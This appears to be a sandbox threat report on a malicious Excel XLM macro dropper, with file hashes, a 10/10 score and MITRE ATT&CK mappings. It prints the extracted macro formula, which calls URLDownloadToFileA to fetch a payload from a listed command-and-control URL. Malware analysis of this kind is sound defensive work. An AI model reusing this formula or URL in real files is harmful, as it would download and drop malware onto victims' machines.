Overview

overview

10

Static

static

10

document-1...84.xls

windows7_x64

10

document-1...84.xls

windows10_x64

10

Sharing

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General

  • Target

    document-1851347184.xls

  • Size

    39KB

  • Sample

    210306-sc36ftcaks

  • MD5

    8a90be28fd5b15dac37b54acf61257dd

  • SHA1

    e7e8c7afa5b6912cfbef5813b54561f5c4cdc222

  • SHA256

    fa75ad49ae3f01c066c035c79098f15915375e8ead1840bee03cb16fafd98425

  • SHA512

    5e2eb198ca5cae3a7d314c0f4cfd6c61d5114a5737bfe4379bd0225f2cb21ad00b20b9c0443ab61bb8b6c208e4a3ff42a4c2d65832909c7fabaadfebb516f950

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://ttj10qrrqx03kdts.com/inda.xls

Attributes
  • formulas

    =CALL("URLMon","URLDownloadToFileA","JJCCBB",0,"http://ttj10qrrqx03kdts.com/inda.xls","..\fkruf.djr",0)

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://ttj10qrrqx03kdts.com/inda.xls

Targets

    • Target

      document-1851347184.xls

    • Size

      39KB

    • MD5

      8a90be28fd5b15dac37b54acf61257dd

    • SHA1

      e7e8c7afa5b6912cfbef5813b54561f5c4cdc222

    • SHA256

      fa75ad49ae3f01c066c035c79098f15915375e8ead1840bee03cb16fafd98425

    • SHA512

      5e2eb198ca5cae3a7d314c0f4cfd6c61d5114a5737bfe4379bd0225f2cb21ad00b20b9c0443ab61bb8b6c208e4a3ff42a4c2d65832909c7fabaadfebb516f950

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks